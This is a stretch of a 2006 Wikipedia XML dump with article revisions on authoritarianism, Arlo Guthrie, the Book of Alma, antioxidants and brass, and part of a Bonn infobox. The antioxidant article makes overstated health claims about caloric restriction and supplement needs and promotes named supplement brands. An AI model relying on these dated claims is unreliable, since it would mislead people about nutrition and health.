      <id>40799023</id>
      <timestamp>2006-02-23T02:19:31Z</timestamp>
      <contributor>
        <ip>128.173.37.153</ip>
      </contributor>
      <text xml:space="preserve">''This article applies to political ideologies.  For information on authoritarianism in psychology see [[Authoritarian Personality]]''.

'''Authoritarianism''' describes a [[form of government]] characterized by strict [[obedience]] to the [[authority]] of the [[state]], which often maintains and enforces [[social control]] through the use of [[oppression|oppressive]] measures. The term may also be used to describe the personality or management style of an individual or [[organization]] which seeks to [[dominate]] those within its [[sphere of influence]] and has little regard for building [[consensus]].

In an authoritarian state, citizens are subject to state authority in many aspects of their lives, including many that other [[political philosophy|political philosophies]] would see as matters of personal choice. There are various degrees of authoritarianism; even very democratic and liberal states will show authoritarianism to some extent, for example in areas of national security.

==Authoritarianism and ideology==
Authoritarianism often arises from the governing bodies' presumption that they know what is right or wrong for the country and from intolerance of dissent. The government then enforces what it thinks is right, often with use of considerable force and sometimes in blatant violation of [[human rights]]. Dissenting voices are ignored, or, more strikingly, are considered to be plotting against the best interests of the country. Such was, for instance, the case during the [[Reign of Terror]] in [[France]]; in [[Spain]] under [[Francisco Franco]].

However, there can exist authoritarianism without any defining ideology or ideal of common good. Such is the case in [[dictator]]ships where the dictator maintains power more for the privileges associated with power than in the belief that he is conducting the right policies.

Authoritarianism is distinguished from [[totalitarianism]] both in degree and scope, authoritarian administration or governance being less intrusive and, in the case of groups, not necessarily backed by the use of force. For example, the [[Roman Catholic Church]] can be accurately described as authoritarian, because in modern times it does not use force to enforce its edicts and thus is not a totalitarian establishment.

Typically, the [[leadership]] ([[government]]) of an authoritarian regime is ruled by an elite group that uses repressive means to stay in power. However, unlike [[totalitarianism|totalitarian]] regimes, there is no desire or ideological justification for the state to control all aspects of a person's life, and the state will generally ignore the actions of an individual unless it is perceived to be a direct challenge to the state.  Totalitarian governments tend to be revolutionary, intent on changing the basic structure of society, while authoritarian ones tend to be [[conservatism|conservative]].

The distinction between authoritarianism and totalitarianism was a crucial part of the [[Kirkpatrick Doctrine]], which asserted that the United States could work with authoritarian nations with bad [[human rights]] records because they were more capable of fundamental reform and less dangerous than totalitarian nations.

==Actions of authoritarian governments==
There exists a gradation in authoritarianism, as well as a variety of possible authoritarian behaviors. Authoritarianism may exist under different regimes:
* [[Absolute monarchy|Absolute monarchies]] are almost always authoritarian. For instance, criticizing the royal government of [[France]] under the ''[[ancien régime]]'' could get writers etc. imprisoned by executive order (known as a ''[[lettre de cachet]]'').
* [[Dictatorship]]s are always authoritarian.
* [[Democracy|Democracies]] do not exhibit much authoritarian behavior except in transition to or from authoritarian states. Many (if not most) citizens of authoritarian states do not perceive their state as authoritarian until late in its development. This makes it difficult to label modern states as 'democratic' or 'authoritarian'. People make this difficulty worse when they use these terms without clear definitions.

As an example of this difficulty, modern democracies once enforced laws that are now widely considered abusive and authoritarian: for instance, countries such as the [[United States]] and the [[United Kingdom]], until recently enforced [[sodomy law]]s imposing the moral and religious values of the majority over matters of private life.

Authoritarian regimes typically grant wide powers to law enforcement agencies; in the extreme this leads to a [[police state]]. Authoritarian regimes may or may not have a [[rule of law]]. In the former case laws are enacted and though they may seem intrusive, unjust or excessive, they are applied to common people. In the latter case laws do not exist or are routinely ignored &amp;mdash; government actions follow the judgments or whims of officials.

== Economic arguments for authoritarianism ==
One controversial belief, especially in [[Asia]], is that countries with authoritarian regimes are more likely to be economically successful than [[democracy|democratic]] countries.  Examples given to support this thesis are [[South Korea]], [[Singapore]], [[Malaysia]], and [[Republic of China|Taiwan]], which were considered authoritarian during their period of growth. This notion of developmental authoritarianism is a central justification for the rule of the [[Communist Party of China]] within the [[People's Republic of China]]. (The notion that authoritarian government is ultimately superior to democracy was also part of the idea of [[Asian values]], although it diminished somewhat after the [[Asian financial crisis]] in [[1998]].)

One counter-argument is that there are many instances of authoritarian nations that have not encountered rapid growth, for example the [[Philippines]] and [[Indonesia]]. In [[Europe]], [[Spain]] under [[Francisco Franco]]'s authoritarian and conservative regime was considerably less economically developed than neighbouring countries such as [[France]], even though the latter had suffered from the devastations of [[World War II]].

[[Lee Kuan Yew]], [[Singapore]]'s first [[Prime Minister]], purportedly justified its strict social conduct laws as &quot;a way to force civility onto a third-world country,&quot; which it was at the time of its separation from [[Malaysia]].

==See also==
*[[autocracy]]
*[[police state]]
*[[statism]]
*[[totalitarianism]]
*[[Anti-authoritarianism]]
*[[Authoritarian Personality]]
*[[Right Wing Authoritarianism]]
*Republic of [[Singapore]]

[[Category:Political theories]]
[[Category:Social philosophy]]

[[bg:Авторитаризъм]]
[[de:Autoritarismus]]
[[es:Autoritarismo]]
[[fr:Autoritarisme]]
[[lt:Autoritarizmas]]
[[pl:Autorytaryzm]]
[[ru:Авторитаризм]]
[[sv:Auktoritär]]
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    </revision>
  </page>
  <page>
    <title>Arlo Guthrie</title>
    <id>3273</id>
    <revision>
      <id>41675136</id>
      <timestamp>2006-03-01T00:07:02Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>orignal---&gt;original</comment>
      <text xml:space="preserve">[[Image:Arlo Guthrie.jpg|thumb|right|250px|A press photo of Arlo Guthrie.]]
'''Arlo Guthrie''' (born [[July 10]], [[1947]], [[Kings County, New York|Brooklyn]], [[New York, New York|New York]] ) is an American [[folk music|folk]] singer who is the son of folk singer and composer [[Woody Guthrie]] and his [[Jew|Jewish]] wife Marjorie Mazia Guthrie, a one-time professional dancer with the [[Martha Graham|Martha Graham Company]] and founder of The Committee to Combat [[Huntington's Disease]]. He graduated from the [[Stockbridge School]] of [[Massachusetts]] in [[1965]], and briefly attended [[Rocky Mountain College]].

His most famous work is &quot;[[Alice's Restaurant]]&quot;, a [[talking blues]] song that lasts 18 minutes and 20 seconds (in its original recorded version; Guthrie has been known to spin the story out to forty-five minutes in concert). The song, a bitingly [[Satire|satirical]] protest against the [[Vietnam War]] [[conscription|draft]], is based on a true incident. In the song, Guthrie was called up for a draft examination, and rejected as unfit for [[military]] service as a result of a criminal record consisting in its entirety of a single arrest, court appearance, fine and clean-up order for [[littering]]. In reality, Guthrie, though a carrier of the genetically inherited disease [[Huntington's chorea]], was classified as fit (1A); however, his draft-lottery number did not come up. 

For a short period in the late [[1960s]], &quot;Alice's Restaurant&quot; was in nearly constant rotation on nearly every college and counter-culture-oriented radio station in the country &amp;mdash; quite an accomplishment for a 18:20 song (albeit in an era not averse to extended jams).

A [[1969 in film|1969]] [[Film|film]], directed and co-written by [[Arthur Penn]], was based on the story. In addition to acting in this film, also called ''Alice's Restaurant'', Guthrie has had minor roles in several movies and [[television]] series.

Guthrie also made famous [[Steve Goodman]]'s song &quot;[[City of New Orleans (song)|City of New Orleans]]&quot;, a paean to long-distance [[railway|rail]] travel.  He also had a minor hit with his song &quot;Coming into Los Angeles&quot;, which was recorded live at the 1969 [[Woodstock Festival]], and success with &quot;The Motorcycle Song.&quot;  Guthrie's 1976 album ''[[Amigo]]'' received a 5-star (highest rating) from ''[[Rolling Stone]]'', and for that reason alone may be his best-received work; unfortunately that milestone album is as rarely heard today as are Guthrie's earlier [[Warner Brothers]] albums &amp;mdash; although each boasts compelling folk music accompanied by top-notch musicians including [[Ry Cooder]].

Like his father, Woody Guthrie, Arlo often sings [[protest song|songs of protest]] against social injustice.  He collaborated with poet [[Adrian Mitchell]] to tell the story of [[Chile]]an folk singer and activist [[Víctor Jara]] in song.  He enjoys the privileges of regularly performing with folk legend Pete Seeger - one of his faither's long time partners whom he admires, follows and learns from in many ways, musically and intellectually - like thousands of folkies and peace loving people do.  

In [[1991]], Guthrie bought the church that had served as Alice and Ray Brock's former home, at 4 Van Deusenville Road, Great Barrington, Massachusetts, and converted it to the [http://www.guthriecenter.org Guthrie Center], an interfaith meeting place that serves people of all religions.

Guthrie's son [[Abe Guthrie|Abe]] and his daughter [[Sarah Lee Guthrie|Sarah Lee]] have also become musicians, the latter performing and recording with her husband [[Johnny Irion]].

==Discography==

* &quot;Bouncing Around the Room&quot; on [[Sharin' in the Groove]] (2001)
* Live In Sydney (2005)
* Mystic Journey (1996)
* Alice's Restaurant - The Massacree Revisited (1997)
* More Together Again (1994)
* 2 Songs (1992)
* Son of the Wind (1992)
* All Over the World (1991)
* Someday (1986)
* Precious Friend (1982)
* Power Of Love (1981)
* Outlasting the Blues (1979)
* One Night (1978)
* The Best of Arlo Guthrie (1977)
* Amigo (1976)
* Together In Concert (1975)
* Arlo Guthrie (1974)
* Last of the Brooklyn Cowboys (1973)
* Hobo's Lullaby (1972)
* Washington County (1970)
* Running Down the Road (1969)
* Arlo (1968)
* [[Alice's Restaurant (album)|Alice's Restaurant]] (1967)

==Filmography==
'''Films and TV series'''

*The Byrds of Paradise (1994) TV Series
*Roadside Prophets (1992)
*Baby's Storytime (1989)
*[[Renaldo and Clara]] (1978)
*[[Alice's Restaurant]] (1969)

'''Composer'''

*Baby's Storytime (1989)
*Clay Pigeon (1971) a.k.a. Trip to Kill (UK)
*Woodstock (1970) (song &quot;Coming Into Los Angeles&quot;)
::a.k.a. Woodstock 25th Anniversary Edition
::a.k.a. Woodstock, 3 Days of Peace &amp; Music
*Alice's Restaurant (1969) (song &quot;The Alice's Restaurant Massacree&quot;) 

'''Producer'''
*Isn't This a Time! A Tribute Concert for Harold Leventhal (2004)

'''Writer'''
*[[Alice's Restaurant]] (1969) (song &quot;The Alice's Restaurant Massacree&quot;)

'''Himself'''
*Isn't This a Time! A Tribute Concert for Harold Leventhal (2004)
*From Wharf Rats to the Lords of the Docks (2004)
*&quot;Get Up, Stand Up&quot; (2003) (TV series)
*Singing in the Shadow: The Children of Rock Royalty (2003)
*Last Party 2000 (2001)
::a.k.a. The Party's Over
*Hollywood Rocks the Movies: The Early Years (1955-1970) (2000) (TV)
*The Ballad of Ramblin' Jack (2000)
*&quot;Healthy Kids&quot; (1998) TV Series
*This Land Is Your Land: The Animated Kids' Songs of Woody Guthrie (1997)
*The History of Rock 'N' Roll, Vol. 6 (1995) (TV)
::a.k.a. My Generation 
*The Kennedy Center Honors: A Celebration of the Performing Arts (1994) (TV)
*Woodstock Diary (1994) (TV)
*Woodstock: The Lost Performances (1990)
*A Vision Shared: A Tribute to Woody Guthrie and Leadbelly (1988)
*Farm Aid '87 (1987) (TV)
*Woody Guthrie: Hard Travelin' (1984)
*The Weavers: Wasn't That a Time (1982)
*Woodstock (1970)
::a.k.a. Woodstock 25th Anniversary Edition
::a.k.a. Woodstock, 3 Days of Peace &amp; Music
*Arthur Penn, 1922-: Themes and Variants (1970) (TV)

'''Notable TV Guest Appearances'''
*&quot;Renegade&quot; in episode: &quot;Top Ten with a Bullet&quot; (episode # 5.14) [[24 January]] [[1997]]
*&quot;Relativity&quot; [[29 December]] [[1996]]
*&quot;The Muppet Show&quot; playing &quot;Himself&quot; (episode # 4.8) [[19 June]] [[1979]]
*&quot;The Tonight Show Starring Johnny Carson&quot; playing &quot;Himself&quot; [[17 August]] [[1972]]
*&quot;The Dick Cavett Show&quot; playing &quot;Himself&quot; [[8 September]] [[1970]]
*&quot;Beat-Club&quot; (episode # 1.52) [[28 February]] [[1970]]
*&quot;Hylands hörna&quot; playing &quot;Himself&quot; (episode # 4.4) [[31 January]] [[1970]]

==References==
*[http://www.arlo.net Arlo Guthrie web page]
*[http://www.imdb.com/name/nm0349241 Internet Movie Database entry]
*[http://www.guthriecenter.org/main.shtml The Guthrie Center]
*[http://www.worldmusiccentral.org/artists/artist_page.php?id=885 World Music Central&quot; Arlo Guthire]
* Lee, Laura, ''Arlo, Alice &amp; Anglicans: The Lives of a New England Church'' (Berkshire House Publishers, 2000; W.W. Norton, 2000 paperback ISBN 1581570104)
* &quot;Youths Ordered to Clean Up Rubbish Mess&quot;: contemporaneous news article reprinted in ''This is the Arlo Guthrie Songbook'' p. 39 (offline)
*[http://www.massmoments.org/moment.cfm?mid=342 Massachusetts Foundation for the Humanities' Mass Moments: &quot;Arlo Guthrie Convicted of Littering, [[November 28]] [[1965]]&quot;]

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'''''The Book of Alma''''' is one of the books that make up the ''[[Book of Mormon]]''. The full title is '''''The Book of Alma: The Son of Alma'''''. The title refers to [[Alma the Younger]], a prophet and &quot;chief judge&quot; of the Nephites.

==Historical Outline==

The Book of Alma is the longest of all the books of the Book of Mormon, consisting of 63 chapters. The book records the first 39 years of what the [[Nephite]]s termed &quot;the reign of the judges&quot;, a period in which the Nephite nation adopted a constitutional theocratic government in which the judicial and executive branches of the government were combined. 

The history of the book is outlined as follows:

===Challenges to the Beginning of the Republic===
The first four chapters, describe the rebellions of followers of [[Nehor]] and [[Amlici]]. Contrary to the dominant lay ministry that existed in the Nephite culture, Nehor established a church in which priests were given a separate social status and were paid for their ministry. After killing a religious leader during a theological argument, Nehor was tried and executed for his crimes. The followers of Amlici resented the dominant political and religious parties and sought to reestablish the monarchy that the reign of the judges replaced. [[Alma the Younger|Alma]], the chief judge and governor as well as the high priest over the people of Nephi, lead an army against Amlici and his followers and drove the rebellion out of the land.

===The Ministry of Alma Among the Nephites===
Towards the end of chapter four, Alma realizes that the affairs of the Church require his entire concentration. He resigns from his political office and appoints [[Nephihah]] as chief judge and governor of the land.  Chapters 5-16 record sermons and missionary travels of Alma between 83 and 78 B.C.

===The Ministry of the Sons of Mosiah Among the Lamanites===
Chapters 17 to 27 describe the missionary labors of the sons of [[Mosiah]] who was the last king over the people of Nephi prior to the peaceful transition of the nation from a monarchy to a republican form of government. The [[sons of Mosiah]], named Ammon, Aaron, Omner and Himni, chose to devote themselves to missionary labors preaching to the people of the [[Lamanite]] nation, which periodically went to war against the Nephite nation. They lived and taught among the Lamanites between the years 91 and 77 B.C. 

===The Ministry of Alma Among the Zoramites===
Chapters 28 to 35 relate the account of a rebellion of a subgroup of the Nephite nation who called themselves [[Zoramites]]. The Zoramites believed in a form of predestination and taught that all others except their people would be damned. Their apostasy from the Church was conjoined with plans to rebel against the Nephite government. Alma and his sons preached among the Zoramites in an attempt to push back the rebellion from both the Church and the state.  Alma and his children had some success among the poor class of Zoramites who were then exiled from the Zoramite community by the governing rich class of Zoramites. Those remaining in the Zoramite capital city of [[Ammonihah]] were subsequently slaugthered during a Lamanite invasion.

===The Commandments of Alma to his Children===
Chapters 36 to 42 record the teachings of Alma to his sons, [[Helaman]], [[Shiblon]], and [[Corianton]]. These teachings discuss the ministry of [[Jesus]], the need for repentance, and the resurrection and judgment of all people.

===A Period of War===
Chapters 43 to 62 record the struggles of the Nephite people during a war against the attacking Lamanite nation between the years of 74 and 57 B.C. The Chief Captain (senior military commander) of the Nephites during this time was [[Captain Moroni]]. The Nephites were ultimately successful in their defense against the Lamanites. 

===Conclusion===
Chapter 63 includes concluding historical notes covering the years 56 to 53 B.C. This is largely a period of post-war reconstruction and exploration in the Nephite nation. 


==External links==
*[http://scriptures.lds.org/alma/contents Book of Alma text] on the LDS Church web site
*[http://scriptures.lds.org/alma/summary Book of Alma summary]

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    <title>Antioxidant</title>
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An  '''antioxidant''' is a [[chemical compound|chemical]] that halts the [[oxidation]] of other chemicals.  These compounds, despite their name, do not simply prevent oxidation.  Instead, they oxidize ''first'', keeping the oxidizing agent from oxidizing compounds that are more important to proper functioning of a system, as in a [[Cell (biology)|cell]].

==Antioxidants in biology==
In biological systems, the normal processes of oxidation (plus contributions from [[ionizing radiation]] and pro-oxidant chemicals) produce highly reactive [[Free radical|free radicals]]. These can readily react with and damage other molecules, including [[deoxyribonucleic acid|DNA]] in cell nuclei or mitochondria.  In some cases the body uses free radicals to destroy foreign or unwanted objects, such as in an infection or cancer.   However, in the wrong place, the body's own [[cell (biology)|cells]] may become damaged.  Should the damage occur to DNA, the result could increase the possibility of cancer.  Antioxidants decrease the damage done to cells by [[Redox|reducing]] oxidants before they can damage the cell. Antioxidants may be further classified by the products they form on oxidation (these can be antioxidants themselves, inert, or pro-oxidant), by what happens to the oxidation products (the antioxidant may be regenerated by different antioxidants or its oxidised form may be broken down by the organism, sometimes called sacrificial antioxidants) and how effective the antioxidant is against specific antioxidant species.

Virtually all studies of mammals have concluded that a [[caloric restriction|restricted calorie diet]] extends the lifespan of mammals by as much as 100%.  This remarkable finding makes it clear that an excess of food dramatically reduces life expectancy.  As food produces free radicals (oxidants) when metabolized, antioxidant-rich diets are thought to stave off the effects of aging significantly better than diets lacking in antioxidants.  The reduced levels of free radicals, resulting from a reduction in their production by metabolism, is thought to be a major cause of the success of caloric restriction in increasing life span.

Free radical damage in the [[mitochondria]] of living cells is a byproduct of [[oxidative phosphorylation]]. [[Superoxide]] radicals are generated, which can damage mitochodrial and mitochondrial membranes. Unlike DNA in the [[cell nucleus]], mitochondrial DNA has only a few DNA-repair enzymes and the DNA is not protected by [[histone|histones]].

Many antioxidants, however (including vitamin C and vitamin E) &lt;!-- or may be vitamin E can get there, but don't stay there long enough --&gt; can't get into mitochondria for various reasons (e.g. because they are too hydrophilic to cross mitochondrial membranes or too hydrophobic to cross the [[cytoplasm]]). [[Melatonin]] is an important natural antioxidant that has been demonstrated to strongly protect mitochondria from damage [http://www.blackwell-synergy.com/doi/abs/10.1111/j.1600-079X.2005.00293.x], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?filters=&amp;orig_db=PubMed&amp;cmd=Search&amp;term=J+Pineal+Res%5Bjour%5D+AND+31%5Bvolume%5D+AND+167%5Bpage%5D]. In addition, a group of scientists in Russia (led by V. Skulachev) have created a custom antioxidant (a [[Skulachev ion]] forms the point of the molecule and penetrates the mitochondrial membrane; the antioxidising part is attached behind it) that can enter the mitochondria and stays there due to the [[membrane potential]] gradient; preventing damage to DNA.

Although there is little doubt that antioxidants are a necessary component for good health, there is considerable doubt as to the most beneficial antioxidant(s) and as to the optimal amount for results.  One study of lung cancer patients found that those given beta-carotene supplements had worse prognoses. This is believed to be due to antioxidant interference with the body's normal use of localised free radicals e.g. [[Nitric oxide]] for cell signalling. Due to the complex nature of the interactions of antioxidants with the body, it is difficult to interpret the results of many experiments designed to test such things.  In vitro testing (outside the body) has shown many natural antioxidants, in specific concentration, can halt the growth of or even kill cancerous cells. There have been clinical studies showing specific antioxidants have a beneficial effect against certain cancers.

Recent laboratory studies are suggesting that at levels much higher than occur through normal diets, antioxidant vitamins such as A, E and C can have pro-oxidant effects, increasing the formation of free radicals.  Natural antioxidants are always ingested together with a wide variety of [[flavonoids]] and other [[phytochemicals]] also likely plays a part.  Many supplement manufacturers supply products containing antioxidants in combination with these other natural chemicals. Another significant factor is that the mechanisms by which different antioxidants regenerate each other require balanced levels to work optimally.  Newer liquid nutritional supplements using plant ionic compounds are believed to be more readily absorbed in the human body.

The benefits of antioxidants were examined during the [[Age-Related Eye Disease Study]].

=== Nutritional antioxidants ===

The following substances have shown positive antioxidant effects:

*[[Vitamin A]] ([[Retinol]], also synthesized by the body from [[beta-carotene]]) protects dark green, yellow and orange vegetables and fruits from solar radiation damage, and is thought to play a similar role in the human body. Carrots, squash, broccoli, sweet potatoes, tomatoes (which gain their color from the compound [[lycopene]]), kale, collards, cantaloupe, peaches and apricots are particularly rich sources of beta-carotene. 

*[[Vitamin C]] ([[Ascorbic acid]]) is a water-[[soluble]] compound that fulfills several roles in living systems. Important sources include citrus fruits (such as oranges, sweet lime, etc.), green peppers, broccoli, green leafy vegetables, strawberries, blueberries, raw cabbage and tomatoes. [[Linus Pauling]] was a major advocate for its use. 

*[[Vitamin E]], including [[Tocotrienol]] and [[Tocopherol]], is fat soluble and protects [[lipid|lipids]]. Sources include wheat germ, nuts, seeds, whole grains, green leafy vegetables, vegetable oil, and fish-liver oil. Recent studies showed that some tocotrienol isomers have significant anti-oxidant properties.

*[[Selenium]] has been shown as early as the 1950's to have a beneficial effect in reducing the occurrence of male [[prostate]] cancer, and a recent study done by the National Health System of China have verified previous results.  However, the substance must be taken in measured amounts because large doses of the element can be toxic.  Good food sources include fish, shellfish, red meat, grains, eggs, sunflower seeds, chicken, garlic, and brazil nuts. Vegetables can also be a good source if they are grown in selenium-rich soils, and some nutritional supplements contain a supply of selenium.

*[[Coenzyme Q | Coenzyme Q10]] (CoQ10) is an antioxidant which is both water and lipid soluble. It is not classified as a vitamin in humans as it can be manufactured by the body, but quantities decrease with age to levels that may be less than optimal, and levels in the diet are generally low. Supplementation with CoQ10 has been clinically proven to improve the health of gums. There is evidence that CoQ10 helps protect the brain against Parkinson's disease.

*[[Melatonin]] is a natural hormone which has several biological roles in different species. It is an exceptionally effective antioxidant within the mitochondria, which are subject to extreme oxidative stress.

*[[Bio-flavonoids]] are present in many dark berries such as pomegranate, [[noni]], blueberries, and blackberries, as well as in certain types of [[tea]] and [[coffee]], especially [[green tea]].  Coffee is often depleted of antioxidants due to the high-temperature roasting process.  Applied Food Sciences has introduced Healthy Roast, a product that remove antioxidants from the green coffee beans before roasting and then adds them back when beans are quenched.  The [[FDA]] may have recently suggested that the average person should consume up to 7000 [[Oxygen Radical Absorbance Capacity|ORAC]] units daily, in order to reduce the risk of cancer.  As this is nearly 12 servings of high-ORAC-value fruit, the use of nutritional supplements containing bio-flavonoids is likely necessary to reach this target.

* Several [[Food additive|food additives]], including pectin, ascorbic acid (vitamin C) and tocopherol-derived compounds are used as antioxidants to help [[preservative|guard against food deterioration]].

* A wide variety of antioxidants occur naturally in the body; many of these are [[enzymes]] such as [[glutathione peroxidase]], [[superoxide dismutase]] and [[catalase]].  Bilirubin, a breakdown product of blood, has been identified [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3029864&amp;query_hl=1&amp;itool=pubmed_docsum] as a possibly significant antioxidant.

In addition, [[Omega 3]] fatty acids prevent the formation of [[atherosclerosis]] when they are taken in conjunction with antioxidants.  The antioxidants prevent the acids from being oxidised.

Many [[nutraceutical]] and health food companies have, in light of scientific studies, produced products that supplement the diet with antioxidants. Large companies such as the [[Nutraceutical Corporation]] and [[Natrol]] have products that are explicitly composed of derivatives that contain antioxidants, like [[resveratrol]] in grape seeds.  Other companies, such as [[Canprev]], [[Vemma]] and Natural Health, produce supplements that contain a combination of antioxidants, like their Immunotality formula.

Specialty herbs such as [[green tea]] and [[jiaogulan]], with makers like Japanese Green Tea and Arizona (for iced) have benefitted tremendously from recent articles on antioxidants in green tea delaying onset of age-related [[macular degeneration]].

==Antioxidants in fuels==
Some antioxidants are added to liquid industrial chemicals, most often [[fuel]]s and [[lubricant]]s to prevent oxidation, and in gasolines to prevent polymerization leading to [[gumming]]. Some examples are:

* [[AO-22]] ([[N,N'-di-2-butyl-1,4-phenylenediamine]]), for turbine oils, [[transformer oil]]s, [[hydraulic fluid]]s, [[wax]]es, and [[grease (lubricant)|grease]]s
* [[AO-24]] (mostly [[N,N'-di-2-butyl-1,4-phenylenediamine]]), blended for low-temperature handling)
* [[AO-29]] ([[2,6-di-tert-butyl-4-methylphenol]]), for turbine oils, transformer oils, hydraulic fluids, waxes, greases, and [[gasoline]]s
* [[AO-30]] (alkylated phenols, mostly [[2,4-dimethyl-6-tert-butylphenol]] (&gt;97%)), for [[jet fuel]]s and gasolines, including aviation gasolines
* [[AO-31]] (alkylated phenols, mostly [[2,4-dimethyl-6-tert-butylphenol]] (&gt;72%)), for jet fuels and gasolines, including aviation gasolines
* [[AO-32]] (alkylated phenols, mostly [[2,4-dimethyl-6-tert-butylphenol]] (&gt;55%), and [[2,6-di-tert-butyl-4-methylphenol]] (&gt;15%)), for jet fuels and gasolines, including aviation gasolines
* [[AO-36]] (alkylated phenols), for gasolines
* [[AO-37]] (alkylated phenols, mostly [[2,6-di-tert-butylphenol]]), for jet fuels and gasolines, widely approved for [[aviation fuel]]s

Antioxidants are frequently used together with [[metal deactivator]]s and [[corrosion inhibitor]]s.

==References==
* Halliwell B. 1999. Antioxidant defense mechanisms: from the beginning to the end (of the beginning). Free Radical Research 31:261-72.

*Rhodes C.J. Book: Toxicology of the Human Environment - the critical role of free radicals, Taylor and Francis, London (2000).

==External links==
*[http://www.thedoctorslounge.net/medlounge/articles/antioxidants/ Antioxidants: Introduction, Biochemistry &amp; Classification]
*[http://www.senescence.info/causes.html Damage-Based Theories of Aging] Includes a description of the free radical theory of aging and a discussion of the role of antioxidants in aging.
*[http://www.ext.colostate.edu/pubs/columnnn/nn000322.html Foods that are rich in antioxidants]
*[http://www.benbest.com/nutrceut/AntiOxidants.html General Anti-Oxidant Actions]
*[http://www.projectgoodlife.com/jiaogulanantioxidant.php Natural Herbal Antioxidant]



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'''Brass''' is the term used for [[alloy]]s of [[copper]] and [[zinc]] in a [[solid solution]]. Typically it is more than 50% copper and from 5 to 20% zinc{{ref|zinc|1}}, in comparison to [[bronze]] which is principally an alloy of copper and [[tin]].{{ref|copper-alloy|2}}.  Despite this distinction, some types of brasses are called [[bronze]]s.


[[Image:Brass.jpg|right|thumb|250px|(L-R) Decorative brass paperweight, along with zinc and copper samples]]
Brass has a yellow colour, somewhat similar to [[gold]]. Because of this, and its relative resistance to [[tarnish|tarnishing]], it is often used as a decoration. 

Brass has been known to man since prehistoric times, long before zinc itself was discovered. It was produced by melting copper together with [[calamine]], a zinc ore. During this process, the zinc is extracted from the calamine and instantly mixes with the copper. Pure zinc, on the other hand, is too reactive to be produced by ancient metalworking techniques.
 
== Properties ==
The malleablity and acoustic properties of brass have made it the metal of choice for [[brass instrument|brass]] [[musical instrument]]s such as the [[tuba]].

In some environments, brasses with higher content of zinc are prone to a [[selective leaching]] corrosion known as dezincification.  In some territories, plumbing fittings designed to resist dezincification are embossed &quot;CR&quot; (corrosion resistant).  A dezincified fitting has the pink appearance of pure copper and will easily crumble, being reduced to a weak sponge-like matrix.
Brass is a versatile manufacturing material because of its hardness and workability.

== Brass types ==
* '''Admiralty brass''' contains 30% zinc and 1% [[tin]] which inhibits dezincification.
* '''Alpha brasses''' ([[Prince's metal]]), with less than 35% zinc, are malleable, can be worked cold, and are used in pressing, forging, or similar. They contain only one phase, with [[face-centered cubic]] [[crystal structure]]. 
* '''Alpha-beta brass''' ([[Muntz metal]]), also called '''duplex brass''', is 35-45 % zinc and is suited for hot working. It contains both &amp;alpha; and &amp;beta;' phase; the &amp;beta;'-phase is [[body-centered cubic]] and is harder and stronger than &amp;alpha;. Alpha-beta brasses are usually worked hot.
* '''Aluminium brass''' contains aluminium, which improves its corrosion resistance.
* '''Arsenical brass''' contains an addition of [[arsenic]] and frequently aluminium and is used for [[boiler]] [[firebox]]es.
* '''Beta brasses''', with 45-50 % zinc content, can only be worked hot, is harder, stronger, and suitable for casting.
* '''Cartridge brass''' is a 30% zinc brass with good cold working properties.
* '''Common brass''', or '''rivet brass''', is a 37% zinc brass, cheap and standard for cold working.
* '''High brass''', contains 65% copper and 35% zinc, has a high tensile strength and is used for [[spring (device)|springs]], [[screw]]s, [[rivet]]s.
* '''Leaded brass''' is an alpha-beta brass with addition of [[lead]]. It has excellent machinability.
* '''Low brass''' is a copper-zinc alloy containing 20% zinc with  a light golden color, excellent ductility and is used for flexible metal hoses and metal [[bellows]].
* '''Naval brass''', similar to admiralty brass, is a 40% zinc brass and 1% tin.
* '''Red brass''' is an American term for CuZnSn alloy known as [[gunmetal]].
* '''White brass''' contains more than 50 % zinc and is too brittle for general use.
* '''Yellow brass''' is an American term for 33% zinc brass.

== See also == 
*[[Calamine brass]] &amp;mdash; brass alloy and manufacturing process from discovery until the late [[18th century]]
*[[Pinchbeck (alloy)|Pinchbeck]] &amp;mdash; a brass that closely resembles gold in appearance.
*[[Bronze]] &amp;mdash; an alloy of [[copper]] with [[tin]] and optionally [[zinc]], [[silicon]], [[nickel]] and other metals
*[[Cupronickel]] &amp;mdash; an alloy of copper with [[nickel]]
*[[Brass instrument]] &amp;mdash; a musical instrument usually made of brass
*[[Brass rubbing]] &amp;mdash; reproduction of ''[[Monumental brass|brasses]]'', commemorative plates laid down in British and European churches from the 13th Century onwards

==External links==
*[http://www.npi.gov.au/database/substance-info/profiles/27.html National Pollutant Inventory - Copper and compounds fact sheet]
== References ==
#{{note|zinc|1}} ''Brasses and other Copper-Zinc Alloys'', Copper Development Association, London, England. Publication No.6, 
#{{note|copper-alloy|2}} ''Machinery Handbook'', Industrial Press Inc, New York, Edition 24, page 501

[[Category:Copper alloys]]

[[ca:Llautó]]
[[cs:Mosaz]]
[[da:Messing]]
[[de:Messing]]
[[es:Latón]]
[[eo:Latuno]]
[[fr:Laiton]]
[[ko:황동]]
[[is:Látún]]
[[it:Ottone (metallo)]]
[[he:פליז]]
[[nl:Messing]]
[[ja:黄銅]]
[[no:Messing]]
[[pt:Latão]]
[[ru:Латунь]]
[[simple:Brass]]
[[fi:Messinki]]
[[sv:Mässing]]
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[[uk:Латунь]]</text>
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    <title>BadJokesAndOtherDeletedNonsense</title>
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      <id>15901648</id>
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        <username>Kevyn</username>
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      <comment>fix redirect</comment>
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  <page>
    <title>Bonn</title>
    <id>3295</id>
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      <id>40686007</id>
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        <username>Stemonitis</username>
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      <comment>remove redundant category</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Bonn|
name_local =  |
image_coa =  Wappen Bonn.png|
image_map =  Lage der kreisfreien Bundesstadt Bonn in Deutschland.png|
state = [[North Rhine-Westphalia]] |
regbzk = [[Cologne (region)|Cologne]] |
district = [[List of German urban districts|urban district]]|
population = 312,295 |
population_as_of = 2005 |
population_ref = [http://www.lds.nrw.de/statistik/datenangebot/amtlichebevoelkerungszahlen/rp3_juni05.html source]|
pop_dens = 2,211 |
area = 141.22 |
elevation = 46-195 |
lat_deg = 50 | 
lat_min = 44 |
lat_hem = N |
lon_deg = 7 |
lon_min = 6 |
lon_hem = E |
postal_code = 53000-53359 |
area_code = 0228 |
licence = BN |
mayor = [[Bärbel Dieckmann]] ([[SPD]]) |
website = [http://www.bonn.de/ bonn.de]|
}}
